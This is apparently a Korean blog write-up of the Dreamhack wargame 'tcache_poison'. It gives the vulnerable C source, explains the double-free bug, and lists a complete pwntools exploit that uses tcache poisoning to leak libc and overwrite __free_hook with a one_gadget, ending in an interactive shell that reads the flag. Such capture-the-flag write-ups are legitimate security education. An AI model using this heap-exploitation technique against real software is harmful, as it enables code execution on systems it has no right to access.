// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
코드를 간단히 요약해보면
main 함수 내에서 4개의 메뉴를 실행할 수 있으며,
1. 입력받은 크기로 heap 공간 할당 후 해당 heap 주소를 chunk 변수에 삽입 후 read 함수를 통해 데이터를 받아들임.
2. chunk 변수의 값을 토대로 heap 공간 해제
3. chunk 변수의 값을 토대로 저장된 데이터를 출력
4. chunk 변수의 값을 토대로 해당 heap 공간의 값을 변경
할 수 있다.
취약점은 heap 공간 free 이후에 이 위치를 저장하고 있는 chunk 변수를 초기화하지 않았기에 double free 가 가능해진다.
double free가 취약한 이유는 아래 링크와 같다.
링크에 설명한 것과 같이 따라 특정 위치에 원하는 값을 쓸 수 있음을 확인하였다.
우선 stdout address부터 leak 해보자.
로컬 환경의 libc 버전이 높아 double free를 인식하기에 부득이 온라인 환경에서 바로 도전.
from pwn import *
#p = process('./tcache_poison')
p = remote('host3.dreamhack.games',14123)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size,data):
p.sendlineafter(b'Edit\n',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def free():
p.sendlineafter(b'Edit\n',b'2')
def edit(data):
p.sendlineafter(b'Edit\n',b'4')
p.sendlineafter(b': ',data)
def prin():
p.sendlineafter(b'Edit\n',b'3')
#make heap
alloc(b'16',b'a')
free()
#overwrite bk for double free
edit(b'aaaaaaaaa')
free()
#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout'])
edit(leak)
#tcache poisoning
alloc(b'16',b'aaaaaaa')
#gdb.attach(p)
#pause()
#alloc to stdout address
alloc(b'16',b'\x60')
prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add = ',hex(stdout_add))
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 14123: Done
[*] '/home/kali/Downloads/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/kali/Downloads/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout_add = 0x7fc050e18760
여기서 유의할점은
alloc시 data를 보낼때 \n 문자가 없어야 원활히 값 삽입이 가능하다는 점
그리고 마지막 alloc에서 stdout address에 값을 쓸 때 시 \x60의 값을 넣어야 된다는 점
이다.
특히 \x60의 값을 넣어준 이유는 아래와 같이 stdout의 address 중 마지막 1 byte가 60이기에 기존의 값이 변조되지 않게하여 stdout 함수가 비 정상적인 작동을 하지 않게 하기 위함이다. (어차피 ASLR이 걸려있더라도 base address의 마지막 2 byte는 0000 이기 때문임.)
헷갈릴 수 있는데, stdout의 오프셋은 0x3ec848 - 0xe8 즉 0x3ec760 이다.
┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -d ./libc-2.27.so | grep stdout
...
7e3c4: 48 39 1d 7d e4 36 00 cmp %rbx,0x36e47d(%rip) # 3ec848 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
...
┌──(kali㉿kali)-[~/Downloads]
└─$ python
Python 3.10.4 (main, Mar 24 2022, 13:07:27) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x3ec848-0xe8)
4114272
>>> print(hex(0x3ec848-0xe8))
0x3ec760
>>>
이제 free_hook 주소에 onegadget 주소를 넣어 free함수를 실행하면 될 것으로 보인다.
onegadget offset을 찾아보면 아래와 같다.
┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
free_hook 주소에 onegadget 주소를 넣는 방법은 마찬가지로 double free를 통한 tcache poisoning으로 가능하다.
이제 모두 모아 코드를 작성해보면 아래와 같다.
from pwn import *
#p = process('./tcache_poison')
p = remote('host3.dreamhack.games',10197)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size,data):
p.sendlineafter(b'Edit\n',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def free():
p.sendlineafter(b'Edit\n',b'2')
def edit(data):
p.sendlineafter(b'Edit\n',b'4')
p.sendlineafter(b': ',data)
def prin():
p.sendlineafter(b'Edit\n',b'3')
#overwrite bk for double free
alloc(b'16',b'a')
free()
edit(b'aaaaaaaaa')
free()
#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout'])
edit(leak)
#tcache poisoning
alloc(b'16',b'aaaaaaa')
#gdb.attach(p)
#pause()
#alloc to stdout address
alloc(b'16',b'\x60')
prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add = ',hex(stdout_add))
libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']
onegadget = libc_base + 0x4f432
print('libc base = ',hex(libc_base))
print('free_hook address = ',hex(free_hook_add))
#overwrite bk for double free
alloc(b'32',b'a')
free()
edit(b'aaaaaaaaa')
free()
#overwrite fd for insert free_hook address to tcache
leak = p64(free_hook_add)
edit(leak)
#tcache poisoning
alloc(b'32',b'aaaaaaa')
#alloc to free_hook address and insert onegadget
alloc(b'32',p64(onegadget))
free()
p.interactive()
* 참고로 첫번째 onegadget은 실패해서 두번째로 교체함.
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 10197: Done
[*] '/home/kali/Downloads/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/kali/Downloads/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout_add = 0x7f7f40591760
libc base = 0x7f7f401a5000
free_hook address = 0x7f7f405928e8
[*] Switching to interactive mode
$ id
uid=1000(tcache_poison) gid=1000(tcache_poison) groups=1000(tcache_poison)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
tcache_dup2 (0) | 2022.08.03 |
---|---|
tcache_dup (0) | 2022.08.03 |
uaf_overwrite (0) | 2022.08.01 |
basic_exploitation_003 (0) | 2022.08.01 |
basic_exploitation_002 (0) | 2022.07.30 |